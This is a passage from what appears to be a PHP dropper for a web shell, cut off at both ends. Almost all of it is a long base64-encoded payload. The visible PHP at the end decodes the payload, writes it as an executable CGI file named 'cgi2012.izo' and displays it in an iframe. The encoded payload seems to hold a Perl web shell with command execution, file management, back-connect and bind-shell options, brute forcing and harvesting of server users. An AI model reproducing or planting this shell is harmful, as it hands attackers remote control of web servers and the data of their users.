sUFNka0p5QnphWHBsUFNjME1DY2dkbUZzZFdVOUp5UkRkWEp5Wlc1MFJHbHlKeUF2UGp4cGJuQjFkQ0IwZVhCbFBTZG9hV1JrWlc0bklHNWhiV1U5SjJFbklIWmhiSFZsUFNkbmRXa25QanhwYm5CMWRDQmpiR0Z6Y3owbmMzVmliV2wwSnlCMGVYQmxQU2R6ZFdKdGFYUW5JSFpoYkhWbFBTZERhR0Z1WjJVblBqd3ZabTl5YlQ0aU93b0phV1lvTFdRZ0pIQmhkR2dwQ2dsN0Nna0piWGtnUUdadVlXMWxJRDBnS0NrN0Nna0piWGtnUUdSdVlXMWxJRDBnS0NrN0Nna0phV1lvYjNCbGJtUnBjaWhFU1ZJc0pIQmhkR2dwS1FvSkNYc0tDUWtKZDJocGJHVW9KR1pwYkdVZ1BTQnlaV0ZrWkdseUtFUkpVaWtwQ2drSkNYc0tDUWtKQ1NSbVBTUndZWFJvTGlSbWFXeGxPd29KQ1FrSmFXWW9MV1FnSkdZcENna0pDUWw3Q2drSkNRa0pjSFZ6YUNoQVpHNWhiV1VzSkdacGJHVXBPd29KQ1FrSmZRb0pDUWtKWld4elpRb0pDUWtKZXdvSkNRa0pDWEIxYzJnb1FHWnVZVzFsTENSbWFXeGxLVHNLQ1FrSkNYMEtDUWtKZlFvSkNRbGpiRzl6WldScGNpaEVTVklwT3dvSkNYMEtDUWxBWm01aGJXVWdQU0J6YjNKMElIc2diR01vSkdFcElHTnRjQ0JzWXlna1lpa2dmU0JBWm01aGJXVTdDZ2tKUUdSdVlXMWxJRDBnYzI5eWRDQjdJR3hqS0NSaEtTQmpiWEFnYkdNb0pHSXBJSDBnUUdSdVlXMWxPd29KQ1NSeVpYTjFiSFFnTGowZ0lqeGthWFkrUEhSaFlteGxJSGRwWkhSb1BTYzVNQ1VuSUdOc1lYTnpQU2RzYVhOMFpHbHlKejRLQ2drSlBIUnlJSE4wZVd4bFBTZGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpNMlV6WlRObEp6NDhkR2crUm1sc1pTQk9ZVzFsUEM5MGFENEtDUWs4ZEdnZ2MzUjViR1U5SjNkcFpIUm9PakV3TUhCNE95YytSbWxzWlNCVGFYcGxQQzkwYUQ0S0NRazhkR2dnYzNSNWJHVTlKM2RwWkhSb09qRTFNSEI0T3ljK1QzZHVaWEk4TDNSb1Bnb0pDVHgwYUNCemRIbHNaVDBuZDJsa2RHZzZNVEF3Y0hnN0p6NVFaWEp0YVhOemFXOXVQQzkwYUQ0S0NRazhkR2dnYzNSNWJHVTlKM2RwWkhSb09qRTFNSEI0T3ljK1RHRnpkQ0JOYjJScFptbGxaRHd2ZEdnK0Nna0pQSFJvSUhOMGVXeGxQU2QzYVdSMGFEb3lOakJ3ZURzblBrRmpkR2x2Ymp3dmRHZytQQzkwY2o0aU93b0pDVzE1SUNSemRIbHNaVDBpYkdsdVpTSTdDZ2tKYlhrZ0pHazlNRHNLQ1FsbWIzSmxZV05vSUcxNUlDUmtJQ2hBWkc1aGJXVXBDZ2tKZXdvSkNRa2tjM1I1YkdVOUlDZ2tjM1I1YkdVZ1pYRWdJbXhwYm1VaUtTQS9JQ0p1YjNSc2FXNWxJam9nSW14cGJtVWlPd29KQ1Fra1pDQTlJQ1owY21sdEtDUmtLVHNLQ1FrSkpHUnBjbTVoYldVOUpHUTdDZ2tKQ1dsbUtDUmtJR1Z4SUNJdUxpSXBJQW9KQ1FsN0Nna0pDUWtrWkNBOUlDWlFZWEpsYm5SR2IyeGtaWElvSkhCaGRHZ3BPd29KQ1FsOUNna0pDV1ZzYzJsbUtDUmtJR1Z4SUNJdUlpa2dDZ2tKQ1hzS0NRa0pDU1JrSUQwZ0pIQmhkR2c3Q2drSkNYMEtDUWtKWld4elpTQUtDUWtKZXdvSkNRa0pKR1FnUFNBa2NHRjBhQzRrWkRzS0NRa0pmUW9KQ1Fra2NtVnpkV3gwSUM0OUlDSThkSElnWTJ4aGMzTTlKeVJ6ZEhsc1pTYytDZ29KQ1FrOGRHUWdhV1E5SjBacGJHVmZKR2tuSUhOMGVXeGxQU2RtYjI1ME9pQXhNWEIwSUZabGNtUmhibUU3SUdadmJuUXRkMlZwWjJoME9pQmliMnhrT3ljK1BHRWdJR2h5WldZOUp6OWhQV2QxYVNaa1BTSXVKR1F1SWljK1d5QWlMaVJrYVhKdVlXMWxMaUlnWFR3dllUNDhMM1JrUGlJN0Nna0pDU1J5WlhOMWJIUWdMajBnSWp4MFpENUVTVkk4TDNSa1BpSTdDZ2tKQ1NSeVpYTjFiSFFnTGowZ0lqeDBaQ0J6ZEhsc1pUMG5kR1Y0ZEMxaGJHbG5ianBqWlc1MFpYSTdKejRpTGlaR2FXeGxUM2R1WlhJb0pHUXBMaUk4TDNSa1BpSTdDZ2tKQ1NSeVpYTjFiSFFnTGowZ0lqeDBaQ0JwWkQwblJtbHNaVkJsY20xelh5UnBKeUJ6ZEhsc1pUMG5kR1Y0ZEMxaGJHbG5ianBqWlc1MFpYSTdKeUJ2Ym1SaWJHTnNhV05yUFZ3aWNtMWZZMmh0YjJSZlptOXliU2gwYUdsekxDSXVKR2t1SWl3bklpNG1SbWxzWlZCbGNtMXpLQ1JrS1M0aUp5d25JaTRrWkdseWJtRnRaUzRpSnlsY0lpQStQSE53WVc0Z2IyNWpiR2xqYXoxY0ltTm9iVzlrWDJadmNtMG9JaTRrYVM0aUxDY2lMaVJrYVhKdVlXMWxMaUluS1Z3aUlENGlMaVpHYVd4bFVHVnliWE1vSkdRcExpSThMM053WVc0K1BDOTBaRDRpT3dvSkNRa2tjbVZ6ZFd4MElDNDlJQ0k4ZEdRZ2MzUjViR1U5SjNSbGVIUXRZV3hwWjI0NlkyVnVkR1Z5T3ljK0lpNG1SbWxzWlV4aGMzUk5iMlJwWm1sbFpDZ2taQ2t1SWp3dmRHUStJanNLQ1FrSkpISmxjM1ZzZENBdVBTQWlQSFJrSUhOMGVXeGxQU2QwWlhoMExXRnNhV2R1T21ObGJuUmxjanNuUGp4aElHaHlaV1k5SjJwaGRtRnpZM0pwY0hRNmNtVjBkWEp1SUdaaGJITmxPeWNnYjI1amJHbGphejFjSW5KbGJtRnRaVjltYjNKdEtDUnBMQ2NrWkdseWJtRnRaU2NzSnlJdUprRmtaRk5zWVhOb1pYTW9Ka0ZrWkZOc1lYTm9aWE1vSkdRcEtTNGlKeWxjSWo1U1pXNWhiV1U4TDJFK0lDQjhJRHhoSUc5dVkyeHBZMnM5WENKcFppZ2hZMjl1Wm1seWJTZ25VbVZ0YjNabElHUnBjam9nSkdScGNtNWhiV1VnUHljcEtTQjdJSEpsZEhWeWJpQm1ZV3h6WlR0OVhDSWdhSEpsWmowblAyRTlaM1ZwSm1ROUpIQmhkR2dtY21WdGIzWmxQU1JrYVhKdVlXMWxKejVTWlcxdmRtVThMMkUrUEM5MFpENGlPd29KQ1Fra2NtVnpkV3gwSUM0OUlDSThMM1J5UGlJN0Nna0pDU1JwS3lzN0Nna0pmUW9KQ1dadmNtVmhZMmdnYlhrZ0pHWWdLRUJtYm1GdFpTa0tDUWw3Q2drSkNTUnpkSGxzWlQwZ0tDUnpkSGxzWlNCbGNTQWliR2x1WlNJcElEOGdJbTV2ZEd4cGJtVWlPaUFpYkdsdVpTSTdDZ2tKQ1NSbWFXeGxQU1JtT3dvSkNRa2taaUE5SUNSd1lYUm9MaVJtT3dvSkNRa2tkbWxsZHlBOUlDSS9aR2x5UFNJdUpIQmhkR2d1SWlaMmFXVjNQU0l1SkdZN0Nna0pDU1J5WlhOMWJIUWdMajBnSWp4MGNpQmpiR0Z6Y3owbkpITjBlV3hsSno0OGRHUWdhV1E5SjBacGJHVmZKR2tuSUhOMGVXeGxQU2RtYjI1ME9pQXhNWEIwSUZabGNtUmhibUU3Sno0OFlTQm9jbVZtUFNjL1lUMWpiMjF0WVc1a0ptUTlJaTRrY0dGMGFDNGlKbU05WldScGRDVXlNQ0l1SkdacGJHVXVJaWMrSWk0a1ptbHNaUzRpUEM5aFBqd3ZkR1ErSWpzS0NRa0pKSEpsYzNWc2RDQXVQU0FpUEhSa1BpSXVKbEJoY25ObFJtbHNaVk5wZW1Vb0prWnBiR1ZUYVhwbEtDUm1LU2t1SWp3dmRHUStJanNLQ1FrSkpISmxjM1ZzZENBdVBTQWlQSFJrSUhOMGVXeGxQU2QwWlhoMExXRnNhV2R1T21ObGJuUmxjanNuUGlJdUprWnBiR1ZQZDI1bGNpZ2taaWt1SWp3dmRHUStJanNLQ1FrSkpISmxjM1ZzZENBdVBTQWlQSFJrSUdsa1BTZEdhV3hsVUdWeWJYTmZKR2tuSUhOMGVXeGxQU2QwWlhoMExXRnNhV2R1T21ObGJuUmxjanNuSUc5dVpHSnNZMnhwWTJzOVhDSnliVjlqYUcxdlpGOW1iM0p0S0hSb2FYTXNJaTRrYVM0aUxDY2lMaVpHYVd4bFVHVnliWE1vSkdZcExpSW5MQ2NpTGlSbWFXeGxMaUluS1Z3aUlENDhjM0JoYmlCdmJtTnNhV05yUFZ3aVkyaHRiMlJmWm05eWJTZ2thU3duSkdacGJHVW5LVndpSUQ0aUxpWkdhV3hsVUdWeWJYTW9KR1lwTGlJOEwzTndZVzQrUEM5MFpENGlPd29KQ1Fra2NtVnpkV3gwSUM0OUlDSThkR1FnYzNSNWJHVTlKM1JsZUhRdFlXeHBaMjQ2WTJWdWRHVnlPeWMrSWk0bVJtbHNaVXhoYzNSTmIyUnBabWxsWkNna1ppa3VJand2ZEdRK0lqc0tDUWtKSkhKbGMzVnNkQ0F1UFNBaVBIUmtJSE4wZVd4bFBTZDBaWGgwTFdGc2FXZHVPbU5sYm5SbGNqc25QanhoSUdoeVpXWTlKejloUFdOdmJXMWhibVFtWkQwaUxpUndZWFJvTGlJbVl6MWxaR2wwSlRJd0lpNGtabWxzWlM0aUp6NUZaR2wwUEM5aFBpQjhJRHhoSUdoeVpXWTlKMnBoZG1GelkzSnBjSFE2Y21WMGRYSnVJR1poYkhObE95Y2diMjVqYkdsamF6MWNJbkpsYm1GdFpWOW1iM0p0S0NScExDY2tabWxzWlNjc0oyWW5LVndpUGxKbGJtRnRaVHd2WVQ0Z2ZDQThZU0JvY21WbVBTYy9ZVDFrYjNkdWJHOWhaQ1p2UFdkdkptWTlJaTRrWmk0aUp6NUViM2R1Ykc5aFpEd3ZZVDRnZkNBOFlTQnZibU5zYVdOclBWd2lhV1lvSVdOdmJtWnBjbTBvSjFKbGJXOTJaU0JtYVd4bE9pQWtabWxzWlNBL0p5a3BJSHNnY21WMGRYSnVJR1poYkhObE8zMWNJaUJvY21WbVBTYy9ZVDFuZFdrbVpEMGtjR0YwYUNaeVpXMXZkbVU5SkdacGJHVW5QbEpsYlc5MlpUd3ZZVDQ4TDNSa1BpSTdDZ2tKQ1NSeVpYTjFiSFFnTGowZ0lqd3ZkSEkrSWpzS0NRa0pKR2tyS3pzS0NRbDlDZ2tKSkhKbGMzVnNkQ0F1UFNBaVBDOTBZV0pzWlQ0OEwyUnBkajRpT3dvSmZRb0pjbVYwZFhKdUlDUnlaWE4xYkhRN0NuMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRlJ5ZVNCMGJ5QldhV1YzSUV4cGMzUWdWWE5sY2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQldhV1YzUkc5dFlXbHVWWE5sY2dwN0NnbHZjR1Z1SUNoa2IyMWhhVzV6TENBbkwyVjBZeTl1WVcxbFpDNWpiMjVtSnlrZ2IzSWdKR1Z5Y2oweE93b0piWGtnUUdOdWVuTWdQU0E4Wkc5dFlXbHVjejQ3Q2dsamJHOXpaU0JrTUcxaGFXNXpPd29KYlhrZ0pITjBlV3hsUFNKc2FXNWxJanNLQ1cxNUlDUnlaWE4xYkhROUlqeG9OVDQ4Wm05dWRDQnpkSGxzWlQwblptOXVkRG9nTVRWd2RDQldaWEprWVc1aE8yTnZiRzl5T2lBalptWTVPVEF3T3ljK1NHOWhibWNnVTJFZ0xTQlVjblZ2Ym1jZ1UyRThMMlp2Ym5RK1BDOW9OVDRpT3dvSmFXWWdLQ1JsY25JcENnbDdDZ2tKSkhKbGMzVnNkQ0F1UFNBZ0tDYzhjRDVETUhWc1pHNWNKM1FnUW5sd1lYTnpJR2wwSUN3Z1UyOXljbms4TDNBK0p5azdDZ2tKY21WMGRYSnVJQ1J5WlhOMWJIUTdDZ2w5Wld4elpRb0pld29KQ1NSeVpYTjFiSFFnTGowZ0p6eDBZV0pzWlQ0OGRISStQSFJvUGtSdmJXRnBibk04TDNSb1BpQThkR2crVlhObGNqd3ZkR2crUEM5MGNqNG5Pd29KZlFvSlptOXlaV0ZqYUNCdGVTQWtiMjVsSUNoQVkyNTZjeWtLQ1hzS0NRbHBaaWdrYjI1bElEMStJRzB2TGlvL2VtOXVaU0FpS0M0cVB5a2lJSHN2S1FvSkNYc0pDZ2tKQ1NSemRIbHNaVDBnS0NSemRIbHNaU0JsY1NBaWJHbHVaU0lwSUQ4Z0ltNXZkR3hwYm1VaU9pQWliR2x1WlNJN0Nna0pDU1JtYVd4bGJtRnRaVDBnSWk5bGRHTXZkbUZzYVdGelpYTXZJaTRrYjI1bE93b0pDUWtrYjNkdVpYSWdQU0JuWlhSd2QzVnBaQ2dvYzNSaGRDZ2tabWxzWlc1aGJXVXBLVnMwWFNrN0Nna0pDU1J5WlhOMWJIUWdMajBnSnp4MGNpQmpiR0Z6Y3owaUpITjBlV3hsSWlCM2FXUjBhRDAxTUNVK1BIUmtQaWN1Skc5dVpTNG5JRHd2ZEdRK1BIUmtQaUFuTGlSdmQyNWxjaTRuUEM5MFpENDhMM1J5UGljN0Nna0pmUW9KZlFvSkpISmxjM1ZzZENBdVBTQW5QQzkwWVdKc1pUNG5Pd29KY21WMGRYSnVJQ1J5WlhOMWJIUTdDbjBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZacFpYY2dURzluQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGWnBaWGRNYjJjS2V3b0phV1lvSkZkcGJrNVVLUW9KZXdvSkNYSmxkSFZ5YmlBaVBHZ3lQanhtYjI1MElITjBlV3hsUFNkbWIyNTBPaUF5TUhCMElGWmxjbVJoYm1FN1kyOXNiM0k2SUNObVpqazVNREE3Sno1RWIyNG5kQ0J5ZFc0Z2IyNGdWMmx1Wkc5M2N6d3ZabTl1ZEQ0OEwyZ3lQaUk3Q2dsOUNnbHRlU0FrY21WemRXeDBQU0k4ZEdGaWJHVStQSFJ5UGp4MGFENVFZWFJvSUV4dlp6d3ZkR2crUEhSb1BsTjFZbTFwZER3dmRHZytQQzkwY2o0aU93b0piWGtnUUhCaGRHaHNiMmM5S0FvSkNRa0pKeTkxYzNJdmJHOWpZV3d2WVhCaFkyaGxMMnh2WjNNdlpYSnliM0pmYkc5bkp5d0tDUWtKQ1NjdmRtRnlMMnh2Wnk5b2RIUndaQzlsY25KdmNsOXNiMmNuTEFvSkNRa0pKeTkxYzNJdmJHOWpZV3d2WVhCaFkyaGxMMnh2WjNNdllXTmpaWE56WDJ4dlp5Y0tDUWtKQ1NrN0NnbHRlU0FrYVQwd093b0piWGtnSkhCbGNtMXpPd29KYlhrZ0pITnNPd29KWm05eVpXRmphQ0J0ZVNBa2JHOW5JQ2hBY0dGMGFHeHZaeWtLQ1hzS0NRbHBaaWd0ZHlBa2JHOW5LUW9KQ1hzS0NRa0pKSEJsY20xelBTSlBTeUk3Q2drSmZXVnNjMlVLQ1FsN0Nna0pDV05vYjNBb0pITnNJRDBnWUd4dUlDMXpJQ1JzYjJjZ1pYSnliM0pmYkc5blh5UnBZQ2s3Q2drSkNXbG1LQ1owY21sdEtDUnNjeWtnWlhFZ0lpSXBDZ2tKQ1hzS0NRa0pDV2xtS0MxeUlDUnNjeWtLQ1FrSkNYc0tDUWtKQ1Fra2NHVnliWE05SWs5TElqc0tDUWtKQ1Fra2JHOW5QU0psY25KdmNsOXNiMmRmSWk0a2FUc0tDUWtKQ1gwS0NRa0pmV1ZzYzJVS0NRa0pld29KQ1FrSkpIQmxjbTF6UFNJOFptOXVkQ0J6ZEhsc1pUMG5ZMjlzYjNJNklISmxaRHNuUGtOaGJtTmxiRHhtYjI1MFBpSTdDZ2tKQ1gwS0NRbDlDZ2tKSkhKbGMzVnNkQ0F1UFR3OFJVNUVPd29KQ1R4MGNqNEtDZ2tKQ1R4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaVBnb0pDUWs4ZEdRK1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHOXVhMlY1ZFhBOUltUnZZM1Z0Wlc1MExtZGxkRVZzWlcxbGJuUkNlVWxrS0Nkc2IyZGZKR2tuS1M1MllXeDFaVDBuYkdWemN5QW5JQ3NnZEdocGN5NTJZV3gxWlRzaUlIWmhiSFZsUFNJa2JHOW5JaUJ6YVhwbFBTYzFNQ2N2UGp3dmRHUStDZ2tKQ1R4MFpENDhhVzV3ZFhRZ1kyeGhjM005SW5OMVltMXBkQ0lnZEhsd1pUMGljM1ZpYldsMElpQjJZV3gxWlQwaVZISjVJaUF2UGp3dmRHUStDZ2tKQ1R4cGJuQjFkQ0IwZVhCbFBTSm9hV1JrWlc0aUlHbGtQU0pzYjJkZkpHa2lJRzVoYldVOUltTWlJSFpoYkhWbFBTSnNaWE56SUNSc2IyY2lMejRLQ1FrSlBHbHVjSFYwSUhSNWNHVTlJbWhwWkdSbGJpSWdibUZ0WlQwaVlTSWdkbUZzZFdVOUltTnZiVzFoYm1RaUlDOCtDZ2tKQ1R4cGJuQjFkQ0IwZVhCbFBTSm9hV1JrWlc0aUlHNWhiV1U5SW1RaUlIWmhiSFZsUFNJa1EzVnljbVZ1ZEVScGNpSWdMejRLQ1FrSlBDOW1iM0p0UGdvSkNRazhkR1ErSkhCbGNtMXpQQzkwWkQ0S0Nna0pQQzkwY2o0S1JVNUVDZ2tKSkdrckt6c0tDWDBLQ1NSeVpYTjFiSFFnTGowaVBDOTBZV0pzWlQ0aU93b0pjbVYwZFhKdUlDUnlaWE4xYkhRN0NuMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRTFoYVc0Z1VISnZaM0poYlNBdElFVjRaV04xZEdsdmJpQlRkR0Z5ZEhNZ1NHVnlaUW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaVpTWldGa1VHRnljMlU3Q2laSFpYUkRiMjlyYVdWek93b0tKRk5qY21sd2RFeHZZMkYwYVc5dUlEMGdKRVZPVm5zblUwTlNTVkJVWDA1QlRVVW5mVHNLSkZObGNuWmxjazVoYldVZ1BTQWtSVTVXZXlkVFJWSldSVkpmVGtGTlJTZDlPd29rVEc5bmFXNVFZWE56ZDI5eVpDQTlJQ1JwYm5zbmNDZDlPd29rVW5WdVEyOXRiV0Z1WkNBOUlDUnBibnNuWXlkOU93b2tWSEpoYm5ObVpYSkdhV3hsSUQwZ0pHbHVleWRtSjMwN0NpUlBjSFJwYjI1eklEMGdKR2x1ZXlkdkozMDdDaVJCWTNScGIyNGdQU0FrYVc1N0oyRW5mVHNLQ2lSQlkzUnBiMjRnUFNBaVkyOXRiV0Z1WkNJZ2FXWW9KRUZqZEdsdmJpQmxjU0FpSWlrN0lDTWdibThnWVdOMGFXOXVJSE53WldOcFptbGxaQ3dnZFhObElHUmxabUYxYkhRS0NpTWdaMlYwSUhSb1pTQmthWEpsWTNSdmNua2dhVzRnZDJocFkyZ2dkR2hsSUdOdmJXMWhibVJ6SUhkcGJHd2dZbVVnWlhobFkzVjBaV1FLSkVOMWNuSmxiblJFYVhJZ1BTQW1kSEpwYlNna2FXNTdKMlFuZlNrN0NpTWdiV0ZqSUdScGJtZ2dlSFZoZENCMGFHOXVaeUIwYVc0Z2JtVjFJR3R2SUdOdklHeGxibWdnYm1GdklRb2tVblZ1UTI5dGJXRnVaRDBnSkZkcGJrNVVQeUprYVhJaU9pSmthWElnTFd4cFlTSWdhV1lvSkZKMWJrTnZiVzFoYm1RZ1pYRWdJaUlwT3dwamFHOXdLQ1JEZFhKeVpXNTBSR2x5SUQwZ1lDUkRiV1JRZDJSZ0tTQnBaaWdrUTNWeWNtVnVkRVJwY2lCbGNTQWlJaWs3Q2dva1RHOW5aMlZrU1c0Z1BTQWtRMjl2YTJsbGMzc25VMEZXUlVSUVYwUW5mU0JsY1NBa1VHRnpjM2R2Y21RN0NncHBaaWdrUVdOMGFXOXVJR1Z4SUNKc2IyZHBiaUlnZkh3Z0lTUk1iMmRuWldSSmJpa2dDUWtqSUhWelpYSWdibVZsWkhNdmFHRnpJSFJ2SUd4dloybHVDbnNLQ1NaUVpYSm1iM0p0VEc5bmFXNDdDbjFsYkhOcFppZ2tRV04wYVc5dUlHVnhJQ0puZFdraUtTQWpJRWRWU1NCa2FYSmxZM1J2Y25rS2V3b0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNqc0tDV2xtS0NFa1YybHVUbFFwQ2dsN0Nna0pKR05vYlc5a1BXbHVkQ2drYVc1N0oyTm9iVzlrSjMwcE93b0pDV2xtS0NFb0pHTm9iVzlrSUdWeElEQXBLUW9KQ1hzS0NRa0pKR05vYlc5a1BXbHVkQ2drYVc1N0oyTm9iVzlrSjMwcE93b0pDUWtrWm1sc1pUMGtRM1Z5Y21WdWRFUnBjaTRrVUdGMGFGTmxjQzRrVkhKaGJuTm1aWEpHYVd4bE93b0pDUWxqYUc5d0tDUnlaWE4xYkhROUlHQmphRzF2WkNBa1kyaHRiMlFnSWlSbWFXeGxJbUFwT3dvSkNRbHBaaWdtZEhKcGJTZ2tjbVZ6ZFd4MEtTQmxjU0FpSWlrS0NRa0pld29KQ1FrSmNISnBiblFnSWp4eWRXNCtJRVJ2Ym1VaElEd3ZjblZ1UGp4aWNqNGlPd29KQ1FsOVpXeHpaUW9KQ1FsN0Nna0pDUWx3Y21sdWRDQWlQSEoxYmo0Z1UyOXljbmtoSUZsdmRTQmtiMjUwSUdoaGRtVWdjR1Z5YldsemMybHZibk1oSUR3dmNuVnVQanhpY2o0aU93b0pDUWw5Q2drSmZRb0pmUW9KSkhKbGJtRnRaVDBrYVc1N0ozSmxibUZ0WlNkOU93b0phV1lvSVNSeVpXNWhiV1VnWlhFZ0lpSXBDZ2w3Q2drSmFXWW9jbVZ1WVcxbEtDUlVjbUZ1YzJabGNrWnBiR1VzSkhKbGJtRnRaU2twQ2drSmV3b0pDUWx3Y21sdWRDQWlQSEoxYmo0Z1JHOXVaU0VnUEM5eWRXNCtQR0p5UGlJN0Nna0pmV1ZzYzJVS0NRbDdDZ2tKQ1hCeWFXNTBJQ0k4Y25WdVBpQlRiM0p5ZVNFZ1dXOTFJR1J2Ym5RZ2FHRjJaU0J3WlhKdGFYTnphVzl1Y3lFZ1BDOXlkVzQrUEdKeVBpSTdDZ2tKZlFvSmZRb0pKSEpsYlc5MlpUMGthVzU3SjNKbGJXOTJaU2Q5T3dvSmFXWW9KSEpsYlc5MlpTQnVaU0FpSWlrS0NYc0tDUWtrY20wZ1BTQWtRM1Z5Y21WdWRFUnBjaTRrVUdGMGFGTmxjQzRrY21WdGIzWmxPd29KQ1dsbUtDMWtJQ1J5YlNrS0NRbDdDZ2tKQ1NaU2JVUnBjaWdrY20wcE93b0pDWDFsYkhObENna0pld29KQ1FscFppaDFibXhwYm1zb0pISnRLU2tLQ1FrSmV3b0pDUWtKY0hKcGJuUWdJanh5ZFc0K0lFUnZibVVoSUR3dmNuVnVQanhpY2o0aU93b0pDUWw5Wld4elpRb0pDUWw3Q2drSkNRbHdjbWx1ZENBaVBISjFiajRnVTI5eWNua2hJRmx2ZFNCa2IyNTBJR2hoZG1VZ2NHVnliV2x6YzJsdmJuTWhJRHd2Y25WdVBqeGljajRpT3dvSkNRbDlDUWtKQ2drSmZRb0pmUW9KY0hKcGJuUWdKa3hwYzNSRWFYSTdDZ3A5Q21Wc2MybG1LQ1JCWTNScGIyNGdaWEVnSW1OdmJXMWhibVFpS1FrSkNRa2dDU01nZFhObGNpQjNZVzUwY3lCMGJ5QnlkVzRnWVNCamIyMXRZVzVrQ25zS0NTWlFjbWx1ZEZCaFoyVklaV0ZrWlhJb0ltTWlLVHNLQ1hCeWFXNTBJQ1pGZUdWamRYUmxRMjl0YldGdVpEc0tmUXBsYkhOcFppZ2tRV04wYVc5dUlHVnhJQ0p6WVhabElpa0pDUWtKSUFraklIVnpaWElnZDJGdWRITWdkRzhnYzJGMlpTQmhJR1pwYkdVS2V3b0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNqc0tDV2xtS0NaVFlYWmxSbWxzWlNna2FXNTdKMlJoZEdFbmZTd2thVzU3SjJacGJHVW5mU2twQ2dsN0Nna0pjSEpwYm5RZ0lqeHlkVzQrSUVSdmJtVWhJRHd2Y25WdVBqeGljajRpT3dvSmZXVnNjMlVLQ1hzS0NRbHdjbWx1ZENBaVBISjFiajRnVTI5eWNua2hJRmx2ZFNCa2IyNTBJR2hoZG1VZ2NHVnliV2x6YzJsdmJuTWhJRHd2Y25WdVBqeGljajRpT3dvSmZRb0pjSEpwYm5RZ0preHBjM1JFYVhJN0NuMEtaV3h6YVdZb0pFRmpkR2x2YmlCbGNTQWlkWEJzYjJGa0lpa2dDUWtKQ1FraklIVnpaWElnZDJGdWRITWdkRzhnZFhCc2IyRmtJR0VnWm1sc1pRcDdDZ2ttVUhKcGJuUlFZV2RsU0dWaFpHVnlPd29LQ1hCeWFXNTBJQ1pWY0d4dllXUkdhV3hsT3dwOUNtVnNjMmxtS0NSQlkzUnBiMjRnWlhFZ0ltSmhZMnRpYVc1a0lpa2dDUWtKQ1NNZ2RYTmxjaUIzWVc1MGN5QjBieUJpWVdOcklHTnZibTVsWTNRZ2IzSWdZbWx1WkNCd2IzSjBDbnNLQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1Oc2FXVnVkSEJ2Y25RaUtUc0tDWEJ5YVc1MElDWkNZV05yUW1sdVpEc0tmUXBsYkhOcFppZ2tRV04wYVc5dUlHVnhJQ0ppY25WMFpXWnZjbU5sY2lJcElBa0pDU01nZFhObGNpQjNZVzUwY3lCMGJ5QmljblYwWlNCbWIzSmpaUXA3Q2drbVVISnBiblJRWVdkbFNHVmhaR1Z5T3dvSmNISnBiblFnSmtKeWRYUmxSbTl5WTJWeU93cDlaV3h6YVdZb0pFRmpkR2x2YmlCbGNTQWlaRzkzYm14dllXUWlLU0FKQ1FrSkl5QjFjMlZ5SUhkaGJuUnpJSFJ2SUdSdmQyNXNiMkZrSUdFZ1ptbHNaUXA3Q2dsd2NtbHVkQ0FtUkc5M2JteHZZV1JHYVd4bE93cDlaV3h6YVdZb0pFRmpkR2x2YmlCbGNTQWlZMmhsWTJ0c2IyY2lLU0FKQ1FrSkl5QjFjMlZ5SUhkaGJuUnpJSFJ2SUhacFpYY2diRzluSUdacGJHVUtld29KSmxCeWFXNTBVR0ZuWlVobFlXUmxjanNLQ1hCeWFXNTBJQ1pXYVdWM1RHOW5Pd29LZldWc2MybG1LQ1JCWTNScGIyNGdaWEVnSW1SdmJXRnBibk4xYzJWeUlpa2dDUWtKSXlCMWMyVnlJSGRoYm5SeklIUnZJSFpwWlhjZ2JHbHpkQ0IxYzJWeUwyUnZiV0ZwYmdwN0Nna21VSEpwYm5SUVlXZGxTR1ZoWkdWeU93b0pjSEpwYm5RZ0psWnBaWGRFYjIxaGFXNVZjMlZ5T3dwOVpXeHphV1lvSkVGamRHbHZiaUJsY1NBaWJHOW5iM1YwSWlrZ0NRa0pDU01nZFhObGNpQjNZVzUwY3lCMGJ5QnNiMmR2ZFhRS2V3b0pKbEJsY21admNtMU1iMmR2ZFhRN0NuMEtKbEJ5YVc1MFVHRm5aVVp2YjNSbGNqcz0nOw0KDQokZmlsZSA9IGZvcGVuKCJjZ2kyMDEyLml6byIgLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY2dpMjAxMikpOw0KZmNsb3NlKCRmaWxlKTsNCiAgICBjaG1vZCgiY2dpMjAxMi5pem8iLDA3NTUpOw0KICAgZWNobyAiIDxpZnJhbWUgc3JjPWNnaTIwMTIvY2dpMjAxMi5pem8gd2lkdGg9OTYlIGhlaWdodD03NiUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4NCiANCiA8L2Rpdj4iOyB9DQogDQogLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy